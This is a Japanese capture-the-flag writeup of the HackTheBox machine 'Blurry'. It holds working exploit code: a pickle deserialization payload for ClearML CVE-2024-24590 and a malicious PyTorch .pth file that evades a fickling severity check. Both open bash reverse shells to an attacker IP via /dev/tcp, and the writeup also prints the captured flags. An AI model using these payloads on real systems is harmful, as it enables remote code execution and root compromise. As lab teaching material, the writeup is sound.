【HackTheBox】Blurry：Writeup

# 概要

HackTheBox「Blurry」のWriteupです。

https://app.hackthebox.com/machines/Blurry

# User Flag

ポートスキャンを実行します。

```
$ nmap -Pn -sV -T4 -A -sC -p- 10.10.11.19 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
|   256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_  256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://app.blurry.htb/
|_http-server-header: nginx/1.18.0
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 8.4p1|
|80|http|nginx 1.18.0|

ホスト名が分かったので、`/etc/hosts`へレコードを追記します。

```/etc/hosts
10.10.11.19     blurry.htb app.blurry.htb
```

`80`へアクセスするとログインフォームが表示されました。

![clear ml login form.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/9f6c8ca1-162c-c482-6a30-01da0e506135.jpeg)

`ClearML`が使用されていると分かりました。

https://github.com/allegroai/clearml

サブドメインを列挙します。

```
$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.blurry.htb" -u http://blurry.htb -fs 169
app                     [Status: 200, Size: 13327, Words: 382, Lines: 29, Duration: 264ms]
chat                    [Status: 200, Size: 218733, Words: 12692, Lines: 449, Duration: 418ms]
files                   [Status: 200, Size: 2, Words: 1, Lines: 1, Duration: 1065ms]
```

`/etc/hosts`にサブドメインを追記します。

```
10.10.11.19     blurry.htb app.blurry.htb chat.blurry.htb files.blurry.htb
```

`chat.blurry.htb`へアクセスするとログインフォームが表示されました。

![chat blurry home.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/550a9b2d-08ad-ea51-93d0-81c7a90b2ae1.jpeg)

`Rocket Chat`が使用されています。

https://www.rocket.chat/

Rocket Chatにログインし、`Home`->`Open directory`から`Announcements`チャンネルを開きます。

![open dir.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/c14fede5-05fb-318a-de0a-93701d5958c2.jpeg)

メッセージを翻訳すると`review`タグが付けられたタスクは定期的に実行されるようです。

![annon.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/ee49e433-d00f-ab9b-6b99-031abd258bad.jpeg)

ClearMLの`Black Swan`プロジェクトを探索していると`Python 3.9.2`,`clearml 1.13.1`が分かりました。

![get clearml version.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/b72e4ba8-dd0f-b2ef-e2e3-9558c20eadb2.jpeg)

また、アカウント設定ページのフッターからより詳細なバージョンが判明しました。

![setting footer vesio.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/74c3fd1e-98b7-eff6-8547-6bf0ebc1b45f.jpeg)

バージョン情報で検索すると、RCEの脆弱性`CVE-2024-24590`が見つかりました。

https://nvd.nist.gov/vuln/detail/CVE-2024-24590

下記サイトに脆弱性の詳細な概要とPoCが記載されています。

https://hiddenlayer.com/research/not-so-clear-how-mlops-solutions-can-muddy-the-waters-of-your-supply-chain/

Kaliで攻撃環境を準備します。
`ClearML 1.13.1`モジュールをインストールします。

```
$ python -m pip install clearml==1.13.1
```

ClearMLのセットアップをします。

```
$ clearml-init

(省略)

Paste copied configuration here:
```

コンフィギュレーションを求められるので、プロジェクトの`EXPERIMENTS`タブ左上にある`+`ボタンから`CREATE NEW CREDENTIALS`をクリックし認証情報を生成します。

![project cre.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/b476954c-27d5-6282-11d2-eec760105a8a.jpeg)

![new cre.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/30b6390f-4900-0d92-3db3-828f3ae3b8f7.jpeg)

生成したものをコピーしセットアップを実行します。
認証に成功しました。

```
ClearML Hosts configuration:
Web App: http://app.blurry.htb
API: http://api.blurry.htb
File Store: http://files.blurry.htb

Verifying credentials ...
Credentials verified!

New configuration stored in /home/kali/clearml.conf
ClearML setup completed successfully.
```

:::note warn

名前解決エラーが出る場合は`api.blurry.htb`を`/etc/hosts`に追加する必要があります。

```
Verifying credentials ...
Retrying (Retry(total=1, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NameResolutionError("<urllib3.connection.HTTPConnection object at 0x7f54ec704450>: Failed to resolve 'api.blurry.htb' ([Errno -2] Name or service not known)")': /auth.login
Retrying (Retry(total=0, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NameResolutionError("<urllib3.connection.HTTPConnection object at 0x7f54ec707250>: Failed to resolve 'api.blurry.htb' ([Errno -2] Name or service not known)")': /auth.login
Error: could not verify credentials: key=E3C6W5U98UY1OI74L0NL secret=tGJ2ksZfhGSGlCIURPipcjHek5861VduVfK1EYvhgvPwCdzGud
Enter user access key:
```

:::

エクスプロイトコードを作成します。

```exploit.py
import pickle
import os
from clearml import Task

class RunCommand:
    def __reduce__(self):
        return (os.system, ("bash -c 'bash -i >& /dev/tcp/10.10.14.17/1234 0>&1'",))

task = Task.init(project_name='Black Swan', task_name='my task',tags=['review'])
task.upload_artifact(name='pwned', artifact_object=RunCommand(), retries=2, wait_on_upload=True, extension_name='.pkl')
```

エクスプロイトコードを実行し、Netcatでリッスンしているとシェルを取得できました。

```
$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.11.19] 54922
bash: cannot set terminal process group (4225): Inappropriate ioctl for device
bash: no job control in this shell
jippity@blurry:~$
```

`/home/jippity/user.txt`からユーザーフラグを入手できました。

```/home/jippity/user.txt
c79ca6d79111da03497e8a1ea52e1172
```

また、`/home/jippity/.ssh/id_rsa`から`jippity`アカウントのSSH秘密鍵を入手できたので、SSH接続にも成功しました。

```
$ ssh -i id_rsa jippity@blurry.htb
jippity@blurry:~$
```

# Root Flag

`sudo -l`で確認します。

```
$ sudo -l
Matching Defaults entries for jippity on blurry:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jippity may run the following commands on blurry:
    (root) NOPASSWD: /usr/bin/evaluate_model /models/*.pth
```

`/usr/bin/evaluate_model`の処理を確認します。
まず、引数に`.pth`ファイルを指定し、`/models/evaluate_model.py`を呼び出しています。

```
if [ "$#" -ne 1 ]; then
    /usr/bin/echo "Usage: $0 <path_to_model.pth>"
    exit 1
fi

MODEL_FILE="$1"
TEMP_DIR="/opt/temp"
PYTHON_SCRIPT="/models/evaluate_model.py"
```

`.pth`ファイルは`PyTorch`モジュールの`torch.save()`で、モデルの保存をした際のファイル拡張子のようです。

https://pytorch.org/docs/main/notes/serialization.html

`.pth`ファイルはZIPアーカイブファイルになっています。

```
$ file /models/demo_model.pth 
/models/demo_model.pth: Zip archive data, at least v0.0 to extract
```

次の処理では、`.pth`ファイルを解凍しています。

```
# Extract based on file type
if [[ "$file_type" == *"POSIX tar archive"* ]]; then
    # POSIX tar archive (older PyTorch format)
    /usr/bin/tar -xf "$MODEL_FILE" -C "$TEMP_DIR"
elif [[ "$file_type" == *"Zip archive data"* ]]; then
    # Zip archive (newer PyTorch format)
    /usr/bin/unzip -q "$MODEL_FILE" -d "$TEMP_DIR"
else
    /usr/bin/echo "[!] Unknown or unsupported file format for $MODEL_FILE"
    exit 2
fi
```

`.pth`ファイルを解凍すると`.pkl`ファイルがあります。

```
$ unzip demo_model.pth
Archive:  demo_model.pth
 extracting: smaller_cifar_net/data.pkl  
 extracting: smaller_cifar_net/byteorder  
 extracting: smaller_cifar_net/data/0  
 extracting: smaller_cifar_net/data/1  
 extracting: smaller_cifar_net/data/2  
 extracting: smaller_cifar_net/data/3  
 extracting: smaller_cifar_net/data/4  
 extracting: smaller_cifar_net/data/5  
 extracting: smaller_cifar_net/data/6  
 extracting: smaller_cifar_net/data/7  
 extracting: smaller_cifar_net/version  
 extracting: smaller_cifar_net/.data/serialization_id
```

その後、`.pkl`ファイルを検索し、`/usr/local/bin/fickling`を実行しています。

```
/usr/bin/find "$TEMP_DIR" -type f \( -name "*.pkl" -o -name "pickle" \) -print0 | while IFS= read -r -d $'\0' extracted_pkl; do
    fickling_output=$(/usr/local/bin/fickling -s --json-output /dev/fd/1 "$extracted_pkl")

    if /usr/bin/echo "$fickling_output" | /usr/bin/jq -e 'select(.severity == "OVERTLY_MALICIOUS")' >/dev/null; then
        /usr/bin/echo "[!] Model $MODEL_FILE contains OVERTLY_MALICIOUS components and will be deleted."
        /bin/rm "$MODEL_FILE"
        break
    fi
done
```

`fickling`ではPythonコードの静的解析ができ、悪意のある処理などを検出できるようです。

https://github.com/trailofbits/fickling

`.pkl`ファイルの解析結果が`OVERTLY_MALICIOUS`の場合は、モデルファイルが削除されるようになっています。

`.pkl`の解析結果が`OVERTLY_MALICIOUS`ではない場合、`/models/evaluate_model.py`が実行されます。

```
/usr/bin/find "$TEMP_DIR" -type f -exec /bin/rm {} +
/bin/rm -rf "$TEMP_DIR"

if [ -f "$MODEL_FILE" ]; then
    /usr/bin/echo "[+] Model $MODEL_FILE is considered safe. Processing..."
    /usr/bin/python3 "$PYTHON_SCRIPT" "$MODEL_FILE"
fi
```

`fickling`の検出結果には、`Likely Safe`,`Possibly Unsafe`など何段階かあるようですが、最もクリティカルな`Overtly Malicious`だけ判定しているようです。

`Overtly Malicious`に判定されないエクスプロイトコードを実行出来れば権限昇格に繋がりそうです。

リバースシェル用の`pth`ファイルを作成します。

```safe_torch.py
import torch
import os

class RunCommand:
    def __reduce__(self):
        return (os.system, ("bash -c 'bash -i >& /dev/tcp/10.10.14.17/12345 0>&1'",))

torch.save(RunCommand(), 'pwn.pth')
```

`safe_torch.py`を実行すると、`pwn.pth`ファイルを作成できました。

```
$ ls -la
-rw-r--r--  1 jippity jippity  912 Oct 15 10:06 pwn.pth
-rw-r--r--  1 jippity jippity  191 Oct 15 10:06 safe_torch.py
```

Netcatでリッスンします。

```
$ nc -lnvp 12345
listening on [any] 12345 ...
```

`/usr/bin/evaluate_model`を実行するとrootでリバースシェルを張れました。

```
$ sudo /usr/bin/evaluate_model /models/pwn.pth 
[+] Model /models/pwn.pth is considered safe. Processing...
```

```
$ nc -lnvp 12345
listening on [any] 12345 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.11.19] 36900
root@blurry:/tmp# whoami
whoami
root
```

`/root/root.txt`からルートフラグを入手できます。

```/root/root.txt
32d89c1f9453fcc0b5e74a914439556e
```

:::note info

実際に作成した`pwn.pth`ファイルを解凍し、`fickling`の解析にかけると`LIKELY_OVERTLY_MALICIOUS`と判定されています。
これで`/usr/bin/evaluate_model`の処理にある`OVERTLY_MALICIOUS`の判定をバイパス出来ています。

```
$ unzip pwn.pth
Archive:  pwn.pth
 extracting: pwn/data.pkl            
 extracting: pwn/byteorder           
 extracting: pwn/version             
 extracting: pwn/.data/serialization_id

$ /usr/local/bin/fickling -s --json-output /dev/fd/1 /tmp/pwn/data.pkl 
{
    "severity": "LIKELY_OVERTLY_MALICIOUS",
    "analysis": "`from posix import system` is suspicious and indicative of an overtly malicious pickle file\nVariable `_var0` is assigned value `system(...)` but unused afterward; this is suspicious and indicative of a malicious pickle file",
    "detailed_results": {
        "AnalysisResult": {
            "UnsafeImports": "from posix import system",
            "UnusedVariables": [
                "_var0",
                "system(...)"
            ]
        }
    }
}
```

:::